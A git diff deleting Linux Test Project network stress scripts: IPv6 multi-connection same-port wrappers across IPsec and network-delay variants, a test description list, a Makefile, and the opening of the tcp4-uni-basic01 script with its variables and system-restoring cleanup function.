-## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04 deleted file mode 100644 index bbdfe930..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05 deleted file mode 100644 index b0502283..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06 deleted file mode 100644 index 56890d2b..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07 deleted file mode 100644 index f2f55b1c..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08 deleted file mode 100644 index b9f5f128..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09 deleted file mode 100644 index ac1819fa..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10 deleted file mode 100644 index 5e05e60c..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11 deleted file mode 100644 index 8b9040de..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12 deleted file mode 100644 index cae92767..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13 deleted file mode 100644 index 6b96abf1..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14 deleted file mode 100644 index 22d92aeb..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-basic/00_Descriptions.txt deleted file mode 100644 index 523d9efd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/00_Descriptions.txt +++ /dev/null @@ -1,124 +0,0 @@ -Verify that the kernel is not crashed by a TCP connection - -tcp4-uni-basic01 - IPv4 - -tcp4-uni-basic02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-basic03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-basic04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-basic05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-basic06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-basic07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-basic08 - IPv4 - Network is delayed - -tcp4-uni-basic09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-basic10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-basic11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-basic12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-basic13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-basic14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-basic01 - IPv6 - -tcp6-uni-basic02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-basic03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-basic04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-basic05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-basic06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-basic07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-basic08 - IPv6 - Network is delayed - -tcp6-uni-basic09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-basic10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-basic11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-basic12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-basic13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-basic14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-basic/Makefile b/ltp/testcases/network/stress/tcp/uni-basic/Makefile deleted file mode 100644 index f5e69209..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-basic testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01 deleted file mode 100644 index 8a68ab6f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01 +++ /dev/null @@ -1,529 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic01 -# -# Description: -# Verify that the kernel is not crashed with a connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Disable window scaling -# - Enable Nagle algorithm -# - Enable TCP Duplicate SACK support -# - Enable SACK Support -# - No packet are lost -# - No packet are duplicated -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-basic01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - - - -# Test description -NON_BASIC=${NON_BASIC:-false} -$NON_BASIC || tst_resm TINFO "Verify that the kernel is not crashed by a TCP connection" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# true, if network is delayed -DO_NET_DELAY=${DO_NET_DELAY:-false} - -# Amount of network delay [ms] -NET_DELAY=${NET_DELAY:-600} - -# The deflection of network delay [ms] -NET_DELAY_DEFL=${NET_DELAY_DEFL:-200} - -# true, if some packets are lost -DO_PACKET_LOSS=${DO_PACKET_LOSS:-false} - -# Rate of packet loss [%] -PACKET_LOSS_RATE=${PACKET_LOSS_RATE:-8} - -# true, if some packets are duplicated -DO_PACKET_DUP=${DO_PACKET_DUP:-false} - -# Rate of packet dupulication [%] -PACKET_DUP_RATE=${PACKET_DUP_RATE:-1} - -# true, if test is for small sending (Namely, disable NAGLE algorithm) -DO_SMALL_SEND=${DO_SMALL_SEND:-false} - -# true, if test is for window scaling -DO_WINDOW_SCALING=${DO_WINDOW_SCALING:-false} - -# true, if test is for DSACK -DO_DSACK=${DO_DSACK:-true} - -# true, if test is for SACK -DO_SACK=${DO_SACK:-true} - -# true, if test is for TSO -DO_TSO=${DO_TSO:-false} - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the tcp traffic server - killall_tcp_traffic - - # Enable window scaling - sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null 2>&1 - - # Enable TCP Duplicate SACK support - sysctl -w net.ipv4.tcp_dsack=1 >/dev/null 2>&1 - - # Enable SACK support - sysctl -w net.ipv4.tcp_sack=1 >/dev/null 2>&1 - - # Restore the tcp segmentation offload setting - if [ x${tso_orig} != x ]; then - ethtool -K $lhost_ifname tso $tso_orig - fi - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Disable network emulator 